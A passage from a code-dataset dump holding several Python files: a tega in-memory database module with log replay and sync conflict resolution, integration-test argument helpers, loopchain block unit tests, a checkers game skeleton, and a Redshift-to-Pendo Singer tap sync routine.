cont._getattr(oid)\n if cont and cont._version == version:\n collision = False\n return collision\n\ndef roots():\n '''\n Lists roots\n '''\n _roots = {} \n for k,v in _idb.items():\n _roots[k] = v._version\n return _roots \n\ndef old():\n '''\n Lists old roots\n '''\n old_roots = []\n for k,v in _old_roots.items():\n versions = [version[0] for version in v]\n old_roots.append({k: versions})\n return old_roots\n\ndef rollback(root_oid, backto, write_log=True):\n '''\n Rollbacks a specific root to a previous version\n '''\n roots = _old_roots[root_oid]\n end = len(roots)\n\n if backto > 0:\n start = backto\n else:\n start = end + backto # Note: backto is a negative value\n\n pair = None\n for get in reversed(range(start, end)):\n pair = roots.pop()\n version = pair[0]\n root = pair[1]\n _idb[root_oid] = root\n marker_rollback = '{} {}'.format(str(backto), root_oid)\n if log_fd and write_log:\n log_fd.write(marker_rollback+'\\n')\n log_fd.flush()\n os.fsync(log_fd)\n _log_cache.append(marker_rollback)\n\ndef create_index(path):\n '''\n Creates an index\n '''\n global _old_roots\n prev_version = -1\n qname = path2qname(path)\n if len(qname) <= 1 or path in _old_roots:\n raise ValueError\n\n root_oid = qname[0]\n for version, root in _old_roots[root_oid]:\n _iter = iter(qname[1:])\n while True:\n try:\n oid = next(_iter)\n if oid in root:\n root = root[oid]\n else:\n break\n except StopIteration:\n version = root._version\n if version == prev_version:\n prev_version = version\n break\n else:\n prev_version = version\n if path not in _old_roots:\n _old_roots[path] = [(version, root)]\n else:\n _old_roots[path].append((version, root))\n break\n\ndef _timestamp_policy(line):\n '''\n Returns timestamp and policy.\n '''\n timestamp_policy = line.lstrip(COMMIT_FINISH_MARKER).rstrip('\\n').split(':')\n timestamp = timestamp_policy[0]\n policy = timestamp_policy[1]\n return (timestamp, policy)\n \ndef reload_log():\n '''\n Reloads log to reorganize a tree in idb\n '''\n t = None \n multi = []\n\n log_fd.seek(0)\n for line in log_fd:\n line.rstrip('\\n')\n if line.startswith(ROLLBACK_MARKER):\n args = line.split(' ')\n rollback(args[1], int(args[0]), write_log=False)\n elif line.startswith(COMMIT_FINISH_MARKER) and len(multi) > 0:\n timestamp, policy = _timestamp_policy(line)\n t = tx(policy=POLICY(policy))\n for crud in multi:\n if ope == OPE.PUT.name:\n ope = crud[0]\n instance = crud[1]\n tega_id = crud[2]\n t.put(instance, tega_id=tega_id, deepcopy=False)\n elif ope == OPE.DELETE.name:\n ope = crud[0]\n path = crud[1]\n tega_id = crud[2]\n t.delete(path, tega_id=tega_id)\n t.commit(write_log=False)\n del multi[:]\n elif line.startswith(COMMIT_START_MARKER) or line.startswith(SYNC_CONFIRMED_MARKER):\n _log_cache.append(line)\n else:\n log = eval(line)\n ope = log['ope']\n path = log['path']\n instance = log['instance']\n tega_id = log['tega_id']\n if ope == OPE.PUT.name:\n root = subtree(path, instance)\n multi.append((OPE.PUT.name, root, tega_id))\n elif ope == OPE.DELETE.name:\n multi.append((OPE.DELETE.name, path, tega_id))\n\ndef crud_batch(notifications, subscriber=None):\n '''\n CRUD operation in a batch.\n '''\n with tx(subscriber=subscriber) as t:\n for crud in notifications:\n ope = crud['ope']\n path = crud['path']\n instance = subtree(path, crud['instance'])\n tega_id = crud['tega_id']\n if ope == 'PUT':\n t.put(instance, tega_id=tega_id, deepcopy=False)\n elif ope == 'DELETE':\n t.delete(path2qname(path), tega_id=tega_id)\n\ndef sync_check(sync_path, digest):\n '''\n Checks if global idb and local idb are synchronized.\n '''\n _commiters = commiters(sync_path)\n _digest = commiters_hash(_commiters)\n logging.debug(\n 'sync_check\\n digest: {}\\n _commiters: {}\\n _digest: {}'.\n format(digest, _commiters, _digest))\n if digest == _digest:\n return True\n else:\n return False\n\ndef _transactions2notifications(transactions):\n '''\n \"notification\" is notified by NOTIFY.\n \"notifications\" is a list of notifications.\n \"transactions\" is from \"sync_db\" command.\n\n notifications: [{ ], ...]\n transactions: [['!', [{ }, ...]], ['+', [{ }, ...]], ...]\n '''\n accumulated = []\n for batch in transactions:\n accumulated.extend(batch[1])\n return accumulated\n\ndef conflict_resolution(subscriber, sync_path, transactions):\n '''\n Compares pending transactions between global idb and local idb, then\n detects and filters out collisions.\n\n This method raises ValueError and terminates abruptly when detected\n collisions cannot be resolved because of conflicting policies between\n global idb and local idb.\n '''\n logging.debug('conflict resolution -\\n sync_path: {}\\n transactions: {}'.\n format(sync_path, transactions))\n\n # Pending transactions at Client \n transactions = _transactions_within_scope(sync_path, transactions)\n # Pending transactions at Server \n confirmed, _transactions = transactions_since_last_sync(sync_path)\n _transactions = _transactions_within_scope(sync_path, _transactions)\n\n # Transactions to be filtered out\n _t_remove = set()\n t_remove = set()\n\n # Detects conflicts and filters out collisions.\n for _t in _transactions: # each transaction at Server\n _p = [_l['path'] for _l in _t[1]] # each log in notifications\n _P = set(_p) # union of paths\n for t in transactions: # each transaction at Client\n p = [l['path'] for l in [1]] # each log in notifications\n P = set(p) # union of paths\n _tp = _t[0] # policy at Server\n tp = t[0] # policy at Client\n\n if len(_P&P) == 0: # intersection is null: no collisions detected\n # _t and t pass\n pass\n elif _tp == POLICY.RAISE_EXCEPTION:\n raise ValueError()\n elif tp == POLICY.RAISE_EXCEPTION:\n raise ValueError()\n elif _tp == POLICY.WIN and tp == POLICY.LOOSE:\n # _t passes\n t_remove.add(t)\n elif _tp == POLICY.LOOSE and tp == POLICY.WIN:\n # t passes\n _t_remove.add(_t)\n elif _tp == POLICY.LOOSE and tp == POLICY.LOOSE:\n t_remove.add(t)\n _t_remove.add(_t)\n\n # Conflict resolution by rolling back to a previous version and commit\n # the filtered transactions again.\n if len(_t_remove) > 0:\n for _t in copy.copy(_transactions):\n if _t in _t_remove:\n _transactions.remove(_t)\n root_oid = sync_path.split('.')[0]\n version = _get_last_sync_marker()['version']\n rollback(root_oid, version, write_log=True)\n _notifications = _transactions2notifications(_transactions)\n crud_batch(_notifications, subscriber=subscriber)\n if (len(t_remove)) > 0:\n for t in copy.copy(transactions):\n if t in t_remove:\n transactions.remove(t)\n notifications = _transactions2notifications(transactions)\n crud_batch(notifications, subscriber=subscriber)\n\n return _transactions\n\ndef get_log_cache():\n '''\n Returns log cache\n '''\n return _log_cache\n\ndef sync_confirmed(url, sync_path, version, sync_ver):\n '''\n Writes \"sync confirmed\" record on tega DB\n '''\n confirmed = dict(url=url, sync_path=sync_path, version=version, sync_ver=sync_ver)\n marker_confirmed = '{}{}'.format(SYNC_CONFIRMED_MARKER, confirmed)\n log_fd.write(marker_confirmed+'\\n')\n log_fd.flush()\n os.fsync(log_fd)\n _log_cache.append(marker_confirmed)\n logging.debug('sync confirmed - \\n{}\\n'.format(json.dumps(marker_confirmed)))\n\ndef sync_confirmed_server(tega_id, sync_path, version, sync_ver):\n '''\n Writes \"sync confirmed\" record on tega DB\n '''\n confirmed = dict(tega_id=tega_id, sync_path=sync_path, version=version, sync_ver=sync_ver)\n marker_confirmed = '{}{}'.format(SYNC_CONFIRMED_MARKER, confirmed)\n log_fd.write(marker_confirmed+'\\n')\n log_fd.flush()\n os.fsync(log_fd)\n _log_cache.append(marker_confirmed)\n logging.debug('sync confirmed - \\n{}\\n'.format(json.dumps(marker_confirmed)))\n\ndef save_snapshot():\n '''\n Take a snapshot of _idb and saves it to the harddisk.\n '''\n global snapshot_file\n seq_no = 0 # TODO: increment\n _idb_snapshot = {}\n for root_oid in _idb:\n _idb_snapshot[root_oid] = _idb[root_oid].serialize_(internal=True)\n _snapshot_file = snapshot_file + str(seq_no)\n with open(_snapshot_file, 'w') as f:\n f.write(str(_idb_snapshot))\n\ndef _build_scope_matcher(sync_path):\n '''\n Returns sync_path scope matcher.\n '''\n pattern = re.compile('^'+sync_path+'$|^'+sync_path+'\\.')\n\n def match(path):\n path_dot = path + '.'\n if pattern.match(path) or sync_path.startswith(path_dot):\n return True\n else:\n return False\n\n return match\n\ndef _index_last_sync(sync_path=None):\n '''\n _log_cache\n -------------- index\n sync_confirmed 0\n record 1 <== _index_last_sync()\n record 2\n --------------\n '''\n index = -1\n confirmed = None\n len_ = len(_log_cache) \n if len_ > 0:\n index = len_ - 1\n for record in reversed(_log_cache):\n if type(record) == str and record.startswith(SYNC_CONFIRMED_MARKER):\n confirmed = eval(record.lstrip(SYNC_CONFIRMED_MARKER))\n if sync_path:\n if confirmed['sync_path'] == sync_path:\n break\n else:\n pass\n else:\n break\n elif index == 0:\n break\n index -= 1\n return (confirmed, index)\n\ndef get_sync_confirmed(sync_path):\n '''\n Returns a sync confirmed marker since last sync.\n '''\n confirmed, index = _index_last_sync(sync_path)\n return confirmed\n\ndef _get_last_sync_marker(sync_path=None):\n '''\n _log_cache\n -------------- index\n sync_confirmed 0 <== _get_last_sync_marker()\n record 1\n record 2\n --------------\n '''\n len_ = len(_log_cache)\n if len_ > 0:\n for record in reversed(_log_cache):\n if type(record) == str and record.startswith(SYNC_CONFIRMED_MARKER):\n confirmed = eval(record.lstrip(SYNC_CONFIRMED_MARKER))\n if sync_path:\n if confirmed['sync_path'] == sync_path:\n return confirmed\n else:\n pass\n else:\n return confirmed\n return None \n\ndef _gen_transaction_since_last_sync(index):\n '''\n Returns a Python generator to yield a list of log per transaction.\n '''\n if index < 0:\n yield None\n else:\n _tx = []\n for record in _log_cache[index:]:\n if type(record) == dict:\n _tx.append(record)\n elif record.startswith(COMMIT_FINISH_MARKER):\n timestamp, policy = _timestamp_policy(record)\n yield [policy, _tx] \n _tx = []\n else:\n pass\n\ndef _transactions_within_scope(sync_path, transactions):\n '''\n Removes transactions out of scope.\n '''\n match = _build_scope_matcher(sync_path)\n notifications = []\n trans = []\n for transaction in transactions:\n for notification in transaction[1]:\n if match(notification['path']):\n notifications.append(notification)\n if (len(notifications) != 0):\n trans.append([transaction[0], notifications])\n notifications = []\n return trans\n\ndef transactions_since_last_sync(sync_path=None):\n '''\n Returns a list of transactions since last sync in the form of:\n [[transaction], [transaction],...]\n\n TODO: multiple sync_path support.\n '''\n transactions = []\n confirmed, index = _index_last_sync(sync_path)\n for _policy_tx in _gen_transaction_since_last_sync(index):\n if _policy_tx:\n transactions.append(_policy_tx)\n else:\n break\n return (confirmed, transactions)\n\ndef _gen_log_cache_since_last_sync(index):\n '''\n _log_cache\n -------------- index\n sync_confirmed 0\n record 1 <== _index_last_sync()\n record 2\n --------------\n yield _log_cache[1], and then _log_cache[2].\n\n Note: this function returns a Python generator to yield CRUD operations.\n\n '''\n if index < 0:\n yield None\n else: \n for record in _log_cache[index:]:\n if type(record) == dict:\n yield record\n\ndef commiters(sync_path, version_since=-1):\n '''\n Returns a list of commiters since last sync on the sync_path\n in reversed order, for conflict detection.\n\n '''\n commiters = []\n\n match = _build_scope_matcher(sync_path)\n\n confirmed, index = _index_last_sync(sync_path)\n for crud in _gen_log_cache_since_last_sync(index):\n if crud:\n _path = crud['path']\n _path_dot = _path + '.'\n\n if match(_path):\n commiters.append(crud['tega_id'])\n else:\n break\n return commiters \n\ndef commiters_hash(commiters):\n '''\n Returns a digest(sha256) of a list of commiters.\n '''\n hash_list = [hashlib.sha256(tega_id.encode('utf-8')).hexdigest() for tega_id in commiters]\n\n digest_concat = ''\n for digest in hash_list:\n digest_concat += digest\n return hashlib.sha256(digest_concat.encode('utf-8')).hexdigest()\n\ndef publish(channel, tega_id, message, subscriber):\n '''\n publishes a message to subscribers.\n '''\n subscribers = channels[channel]\n for _subscriber in subscribers:\n if _subscriber != subscriber:\n _subscriber.on_message(channel, tega_id, message)\n\ndef rpc(path, args=None, kwargs=None):\n '''\n RPC (Remote Procedure Call).\n\n Raises KeyError if path is not found in idb.\n '''\n try:\n qname = path2qname(path)\n f = get(path)\n if type(f) == RPC:\n func = get(path)._get_func()\n if args and kwargs:\n return func(*args, **kwargs)\n elif args:\n return func(*args)\n elif kwargs:\n return func(**kwargs)\n else:\n return func()\n else:\n raise NonLocalRPC('path exists but not for local RPC')\n except KeyError:\n raise\n\n@gen.coroutine\ndef rpc2(path, args=None, kwargs=None, tega_id=None):\n '''\n This method is called by server.py\n '''\n try:\n raise gen.Return(rpc(path, args, kwargs))\n except NonLocalRPC:\n if tega_id:\n subscriber = get_subscriber_for_local_db(path)\n try:\n result = yield request(subscriber,\n REQUEST_TYPE.RPC,\n tega_id=tega_id,\n path=path,\n args=args,\n kwargs=kwargs)\n raise gen.Return(result)\n except gen.TimeoutError:\n raise\n else:\n raise ValueError('tega_id required for this method')\n except KeyError:\n subscriber = get_subscriber_for_global_db()\n try:\n result = yield request(subscriber,\n REQUEST_TYPE.RPC,\n tega_id=subscriber.tega_id,\n path=path,\n args=args,\n kwargs=kwargs)\n raise gen.Return(result)\n except gen.TimeoutError:\n raise\n\n","sub_path":"tega/idb.py","file_name":"idb.py","file_ext":"py","file_size_in_byte":37475,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"501723899","text":"import argparse\n\n\nMETADATA_TIER_LIST = [\n ('level1', './config_level1.ini'),\n ('level2', './config_level2.ini'),\n ('oracle', './config_oracle.ini')\n]\n\n\ndef print_divider():\n print('========================================')\n\n\ndef add_test_args(parser: argparse.ArgumentParser,\n handmade_only=False) -> argparse.ArgumentParser:\n parser.add_argument(\n 'mcs_unity_build_file_path',\n help='Path to MCS unity build file'\n )\n if not handmade_only:\n parser.add_argument(\n 'mcs_unity_github_branch_name',\n help='Name of branch/tag on MCS AI2-THOR Unity GitHub repository'\n )\n parser.add_argument(\n '--metadata',\n default=None,\n choices=[metadata_tier[0] for metadata_tier in METADATA_TIER_LIST],\n help='Metadata tier to run (by default, test each metadata tier)'\n )\n parser.add_argument(\n '--test',\n default=None,\n help='Specific test filename prefix to run (by default, all files)'\n )\n parser.add_argument(\n '--dev',\n default=False,\n action='store_true',\n help='Run in dev mode (useful for adding new test scenes)'\n )\n parser.add_argument(\n '--autofix',\n default=False,\n action='store_true',\n help='Automatically fix test failures (only use with care!)'\n )\n return parser\n","sub_path":"integration_tests/integration_test_utils.py","file_name":"integration_test_utils.py","file_ext":"py","file_size_in_byte":1385,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"571385226","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# Copyright 2017 theloop, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"Test Block functions\"\"\"\n\nimport logging\nimport sys\nimport unittest\n\nimport loopchain.utils as util\nimport testcase.unittest.test_util as test_util\n\nsys.path.append('../')\nfrom loopchain.blockchain import Block\nfrom loopchain.blockchain import Transaction\n\nutil.set_log_level_debug()\n\n\nclass TestBlock(unittest.TestCase):\n def setUp(self):\n test_util.print_testname(self._testMethodName)\n\n def generate_block(self):\n \"\"\"\n 블럭 생성기\n :return: 임의생성블럭\n \"\"\"\n genesis = Block()\n genesis.generate_block()\n # Block 생성\n block = Block()\n # Transaction(s) 추가\n for x in range(0, 10):\n tx = Transaction()\n tx.put_data(\"{args:[]}\")\n block.put_transaction(tx)\n\n # Hash 생성 이 작업까지 끝내고 나서 Block을 peer에 보낸다\n block.generate_block(genesis)\n return block\n\n def test_put_transaction(self):\n \"\"\"\n Block 에 여러 개 transaction 들을 넣는 것을 test.\n \"\"\"\n block = Block()\n tx_list = []\n tx_size = 10\n for x in range(0, tx_size):\n tx = Transaction()\n tx2 = Transaction()\n hashed_value = tx.put_data(\"{args:[]}\")\n tx2.put_data(\"{args:[]}\")\n tx_list.append(tx2)\n self.assertNotEqual(hashed_value, \"\", \"트랜잭션 생성 실패\")\n self.assertTrue(block.put_transaction(tx), \"Block에 트랜잭션 추가 실패\")\n self.assertTrue(block.put_transaction(tx_list), \"Block에 여러 트랜잭션 추가 실패\")\n self.assertEqual(len(block.confirmed_transaction_list), tx_size*2, \"트랜잭션 사이즈 확인 실패\")\n\n def test_validate_block(self):\n \"\"\"\n 블럭 검증\n \"\"\"\n # Block 생성\n block = self.generate_block()\n # 생성 블럭 Validation\n self.assertTrue(block.validate(), \"Fail to validate block!\")\n\n def test_transaction_merkle_tree_validate_block(self):\n \"\"\"\n 머클트리 검증\n \"\"\"\n # 블럭을 검증 - 모든 머클트리의 내용 검증\n block = self.generate_block()\n mk_result = True\n for tx in block.confirmed_transaction_list:\n # FIND tx index\n idx = block.confirmed_transaction_list.index(tx)\n sm_result = Block.merkle_path(block, idx)\n mk_result &= sm_result\n # logging.debug(\"Transaction %i th is %s (%s)\", idx, sm_result, tx.get_tx_hash())\n # logging.debug(\"block mekletree : %s \", block.merkle_tree)\n self.assertTrue(mk_result, \"머클트리검증 실패\")\n\n def test_serialize_and_deserialize(self):\n \"\"\"\n 블럭 serialize and deserialize 테스트\n \"\"\"\n block = self.generate_block()\n test_dmp = block.serialize_block()\n block2 = Block()\n block2.deserialize_block(test_dmp)\n logging.debug(\"serialize block hash : %s , deserialize block hash %s\", block.merkle_tree_root_hash, block2.merkle_tree_root_hash)\n self.assertEqual(block.merkle_tree_root_hash, block2.merkle_tree_root_hash, \"블럭이 같지 않습니다 \")\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"testcase/unittest/test_block.py","file_name":"test_block.py","file_ext":"py","file_size_in_byte":3885,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"40209039","text":"\"\"\"Models the checkers game in python.\n\nObject-oriented.\n\"\"\"\n\n\nimport collections\n\nPoint = collections.namedtuple('Point', ['x', 'y'])\n\n\nclass Piece(object):\n \"\"\"Represents the pieces. Internal used only.\"\"\"\n\n def __init__(self, player, board, position, is_king=False):\n self.player = player\n self.board = board\n self.position = position\n self.is_king = is_king\n\n def possible_moves(self):\n \"\"\"Returns a list of potential moves.\n\n [(possition, outcome)]\n A tuple of (possible_moves)\n \"\"\"\n self.board.possible_moves(self)\n # 1. check whether can jump to nearby tiles\n # 2. check whether tile is valid\n\n def move(self, new_position):\n self.board.move_piece(self, new_position)\n\n\nclass Board(object):\n \"\"\"Represents the game board.\"\"\"\n\n def setup(self, init_matrix, player_1, player_2, invalid_tile=-1):\n \"\"\"Construct the game board.\n\n Args:\n init_matrix: a List[List[Str[player_name]]],\n player_1: Player\n player_2: Player\n \"\"\"\n self._player_1 = player_1\n self._player_2 = player_2\n self._player_1.board = self\n self._player_2.board = self\n\n self._disabled_tile = [[invalid_tile != e for e in row] for row in init_matrix]\n self._max_x = len(self._disabled_tile)\n self._max_y = len(self._disabled_tile[0])\n self._pieces = []\n for i, row in enumerate(init_matrix):\n for j, e in enumerate(init_matrix[row]):\n if e == self._player_1.name:\n _pieces.append(Piece(self._player_1, self, (i,j)))\n elif e == self._player_2.name:\n _pieces.append(Piece(self._player_2, self, (i,j)))\n\n self._current_player = self._player_1\n\n def is_tile_valid(self, position):\n \"\"\"Returns whether the tile is valid.\n\n Args:\n position: A Point(x, y).\n\n Returns:\n a boolean whether it's valid tile.\n \"\"\"\n return (position.x >= 0 and position.x < self._max_x and\n position.y >= 0 and position.y < self._max_y and\n not self._disabled_tile[x][y])\n\n def possible_moves(self, piece):\n pass\n\n def move_piece(self, piece, new_position):\n pass\n\n def win(self):\n \"\"\"Returns who win the games.\n\n Retruns:\n Returns whether a player wins. If someone win, return it. Otherwise False.\n \"\"\"\n raise NotImplementedError()\n\n def tick(self):\n \"\"\"Ask each player to do their thing.\"\"\"\n self._current_player.run()\n self._next_turn().run()\n self._next_turn()\n\n def _next_turn(self):\n \"\"\"Toggles the player turn.\"\"\"\n if self._current_player == self._player_1:\n self._current_player = self._player_2\n else:\n self._current_player = self._player_1\n return self._current_player\n\n\nclass Player(object):\n \"\"\"Represents a game player.\"\"\"\n\n def __init__(self, name):\n self.name = name\n\n def get_pieces(self):\n return self.board.get_pieces(self, visibility)\n\n def get_piece_by_position(self, position):\n return self.board.get_piece_by_position(position)\n\n def run(self):\n # 1. select an available piece\n # 2. get the possible moves\n # 3. make a move\n pass\n\n\ndef main():\n \"\"\"The main program runs here. Can be modeled as `Game`.\"\"\"\n board = Board()\n player_1 = Player(1)\n player_2 = Player(2) # TODO: direction\n board.setup([\n [ -1, 1, -1, 1, -1, 1, -1, 1 ],\n [ 1, -1, 1, -1, 1, -1, 1, -1 ],\n [ -1, 1, -1, 1, -1, 1, -1, 1 ],\n [ 0, -1, 0, -1, 0, -1, 0, -1 ],\n [ -1, 0, -1, 0, -1, 0, -1, 0 ],\n [ 2, -1, 2, -1, 2, -1, 2, -1 ],\n [ -1, 2, -1, 2, -1, 2, -1, 2 ],\n [ 2, -1, 2, -1, 2, -1, 2, -1 ]\n ], player_1 = player_1, player_2 = player_2)\n\n while not board.win():\n board.tick()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"python/checkers_simulator.py","file_name":"checkers_simulator.py","file_ext":"py","file_size_in_byte":4071,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"415856428","text":"import sys\nimport copy\nimport time\nimport datetime\nimport pendulum\nimport simplejson as json\nimport httpx\nimport asyncio\nfrom validators import uuid\nfrom tap_redshift import bookmarks, messages, parsed_args\nfrom tap_redshift.streams import STREAMS\nfrom singer import logger, metadata, metrics, utils\n\nLOGGER = logger.get_logger()\nNL = \"\\n\" # adding newline constant for easier multiline logging\nQUERY_LIMIT = parsed_args.query_limit\nSTART_DATE = parsed_args.start_date\nINT_KEY = parsed_args.target_int_key\nTIMEOUT = httpx.Timeout(connect=None, read=None, write=None, pool=None)\nLIMITS = httpx.Limits(max_keepalive_connections=1, max_connections=5, keepalive_expiry=300.0)\nHEADERS = {\n 'User-Agent': 'Singer-ShootProof',\n 'Accept-Encoding': 'gzip, deflate',\n 'Accept': 'application/json',\n 'Content-Type': 'application/json',\n 'X-Pendo-Integration-Key': INT_KEY\n}\n\n\nasync def fetch_uuids(stream=None):\n \"\"\"Function to make GET request to Pendo API & filter for users with UUIDs,\n meaning they have had activity since updating Pendo PKEY\n \"\"\"\n async with httpx.AsyncClient(timeout=TIMEOUT, limits=LIMITS) as session:\n stream_target_entity = STREAMS[stream]['target_entity']\n stream_target_pkey = STREAMS[stream]['primary_key']\n pendo_uuids = []\n aggr_url = 'https://app.pendo.io/api/v1/aggregation' # Pendo Aggregation API endpoint\n # Building query for Aggregation Endpoint\n data = \"{\\\"response\\\":{\\\"mimeType\\\":\\\"application/json\\\"},\"\n data += \"\\\"request\\\":{\\\"pipeline\\\":[{\\\"source\\\":{\\\"%s\\\":null}},\" % stream_target_entity\n data += \"{\\\"filter\\\":\\\"len(%s) == 36\\\"},\" % stream_target_pkey\n data += \"{\\\"select\\\": {\\\"%s\\\":\\\"%s\\\"}}]}}\" % (stream_target_pkey, stream_target_pkey)\n LOGGER.info(\n f\"FETCHING UUIDs FROM PENDO FOR:{NL}\"\n + f\"PENDO ENTITY: {stream_target_entity}{NL}\"\n + f\"BY PENDO KEY: {stream_target_pkey}\"\n )\n response = await session.post(url=aggr_url, data=data, headers=HEADERS)\n results = list(response.json()['results'])\n for record in results:\n user_id = record.get(stream_target_pkey)\n pendo_uuids.append(user_id) if uuid(user_id) else ...\n return pendo_uuids\n\n\ndef do_sync(conn=None, db_schema=None, catalog=None, state=None):\n \"\"\"Writes all Singer messages to stdout and flushes\"\"\"\n LOGGER.info(\"STARTING REDSHIFT SYNC\")\n for message in messages.generate_messages(conn, db_schema, catalog, state):\n if message is not None:\n sys.stdout.write(\n json.dumps(\n message.asdict(),\n default=coerce_datetime,\n use_decimal=True\n ) + NL\n )\n sys.stdout.flush()\n else:\n pass\n LOGGER.info(\"COMPLETED SYNC\")\n\n\ndef coerce_datetime(dt_time=None):\n if isinstance(dt_time, (datetime.datetime, datetime.date)):\n return dt_time.isoformat()\n raise TypeError(\n f\"TYPE {type(dt_time)} IS NOT SERIALIZABLE\"\n )\n\n\ndef sync_table(connection=None, catalog_entry=None, state=None):\n columns = list(catalog_entry.schema.properties.keys())\n formatted_start_date = None\n if not columns:\n LOGGER.warning(\n f\"NO COLUMNS SELECTED FOR TABLE {catalog_entry.table},{NL}\" +\n \"SKIPPING IT\"\n )\n return\n stream, tap_stream_id = catalog_entry.stream, catalog_entry.tap_stream_id\n redshift_pkey = STREAMS[stream]['key_properties'][0]\n # Runner statement for fetch_uuids async function\n pendo_uuids = asyncio.run(\n fetch_uuids(stream)\n )\n LOGGER.info(\n f\"CATALOG_ENTRY: {catalog_entry}{NL}\"\n + f\"REDSHIFT_PKEY: {redshift_pkey}{NL}\"\n + f\"COUNT OF PENDO_UUIDS: {len(pendo_uuids)}{NL}\"\n + f\"BEGINNING SYNC FOR {tap_stream_id} TABLE\"\n )\n with connection.cursor() as cursor:\n schema, table = catalog_entry.table.split('.')\n params = {}\n select = 'SELECT {} FROM {}.{}'.format(','.join((f'\"{col}\"' for col in columns)), f'\"{schema}\"', f'\"{table}\"')\n if START_DATE is not None:\n formatted_start_date = datetime.datetime.strptime(\n START_DATE, '%Y-%m-%dT%H:%M:%SZ').astimezone()\n replication_key = metadata.to_map(catalog_entry.metadata).get((), {}).get('replication-key')\n replication_key_value = None\n bookmark_is_empty = state.get('bookmarks', {}).get(tap_stream_id) is None\n stream_version = get_stream_version(tap_stream_id, state)\n activate_version_message = messages.ActivateVersionMessage(\n stream=catalog_entry.stream,\n version=stream_version\n )\n state = bookmarks.write_bookmark(\n state, tap_stream_id, 'version', stream_version\n )\n LOGGER.debug(\n f\"BOOKMARK_IS_EMPTY: {bookmark_is_empty}\"\n )\n LOGGER.info(\n f\"FORMATTED DATE: {formatted_start_date}{NL}\"\n + f\"REPLICATION_KEY: {replication_key}{NL}\"\n + f\"STREAM_VERSION: {stream_version}{NL}\"\n + f\"ACTIVATE_VERSION_MESSAGE: {activate_version_message}{NL}\"\n + f\"STATE: {state}\"\n )\n if replication_key or bookmark_is_empty:\n yield activate_version_message\n if replication_key:\n replication_key_value = bookmarks.get_bookmark(\n state, tap_stream_id, 'replication_key_value'\n ) or formatted_start_date.isoformat()\n if replication_key_value is not None:\n entry_schema = catalog_entry.schema\n if entry_schema.properties[replication_key].format == 'date-time':\n replication_key_value = pendulum.parse(replication_key_value)\n # Building query to select only IDs returned by fetch_uuids() func\n select += ' WHERE {} > %(replication_key_value)s'.format(replication_key)\n select += ' AND {} = ANY %(pendo_uuids)s'.format(redshift_pkey)\n select += ' ORDER BY {} ASC'.format(replication_key)\n select += ' LIMIT {}'.format(QUERY_LIMIT)\n params['replication_key_value'] = replication_key_value\n params['pendo_uuids'] = (pendo_uuids,)\n elif replication_key is not None:\n select += ' WHERE {} IN %(pendo_uuids)s'.format(redshift_pkey)\n select += ' ORDER BY {} ASC'.format(replication_key)\n params['pendo_uuids'] = (pendo_uuids,)\n select_all = f'SELECT COUNT(*) FROM {schema}.{table}'\n select_all += ' WHERE {} = ANY %(pendo_uuids)s'.format(redshift_pkey)\n select_all += ' LIMIT {}'.format(QUERY_LIMIT)\n params['pendo_uuids'] = (pendo_uuids,)\n query_string_all = cursor.mogrify(select_all)\n cursor.execute(select_all, params)\n total_rows = cursor.fetchone()[0]\n volume_message = messages.VolumeMessage(\n stream=catalog_entry.stream,\n count=total_rows\n )\n yield volume_message\n LOGGER.debug(\n f\"EXECUTED QUERY: {query_string_all}{NL}\"\n + f\"TOTAL ROWS: {total_rows}{NL}\"\n + f\"VOLUME_MESSAGE: {volume_message}\"\n )\n time_extracted = utils.now()\n query_string = cursor.mogrify(select, params)\n cursor.execute(select, params)\n LOGGER.info(\n f\"EXECUTED QUERY: {query_string}\"\n )\n row = cursor.fetchone()\n rows_saved = 0\n with metrics.record_counter(None) as counter:\n counter.tags['database'] = catalog_entry.database\n counter.tags['table'] = catalog_entry.table\n while row:\n counter.increment()\n rows_saved += 1\n record_message = messages.row_to_record(\n catalog_entry, stream_version, row, columns, time_extracted\n )\n yield record_message\n if replication_key is not None:\n state = bookmarks.write_bookmark(\n state,\n tap_stream_id,\n 'replication_key_value',\n record_message.record[replication_key]\n )\n if rows_saved % 1000 == 0:\n yield messages.StateMessage(\n value=(copy.deepcopy(state)))\n row = cursor.fetchone()\n if not replication_key:\n yield activate_version_message\n yield\n state = bookmarks.write_bookmark(\n state, catalog_entry.tap_stream_id, 'version', None\n )\n yield messages.StateMessage(\n value=(copy.deepcopy(state)))\n\n\ndef get_stream_version(tap_stream_id=None, state=None):\n \"\"\"Returns stream bookmark if exists, else creates version from time\"\"\"\n return bookmarks.get_bookmark(\n state, tap_stream_id, 'version') or int(time.time() * 1000)\n\n\ndef build_state(raw_state=None, catalog=None):\n \"\"\"Returns State Message for selected streams\n to serve as bookmark for incremental syncs\n \"\"\"\n state = {}\n currently_syncing = bookmarks.get_currently_syncing(raw_state)\n LOGGER.info(\n f\"BUILDING STATE FROM RAW STATE {raw_state}{NL}\" +\n f\"CURRENTLY_SYNCING: {currently_syncing}\"\n )\n if currently_syncing:\n state = bookmarks.set_currently_syncing(state, currently_syncing)\n for catalog_entry in catalog.streams:\n tap_stream_id = catalog_entry.tap_stream_id\n catalog_metadata = metadata.to_map(catalog_entry.metadata)\n replication_method = catalog_metadata.get((), {}).get('replication-method')\n raw_stream_version = bookmarks.get_bookmark(\n raw_state, tap_stream_id, 'version'\n )\n if replication_method == 'INCREMENTAL':\n replication_key = catalog_metadata.get((), {}).get('replication-key')\n state = bookmarks.write_bookmark(\n state, tap_stream_id, 'replication_key', replication_key\n )\n raw_replication_key = bookmarks.get_bookmark(\n raw_state, tap_stream_id, 'replication_key'\n )\n if 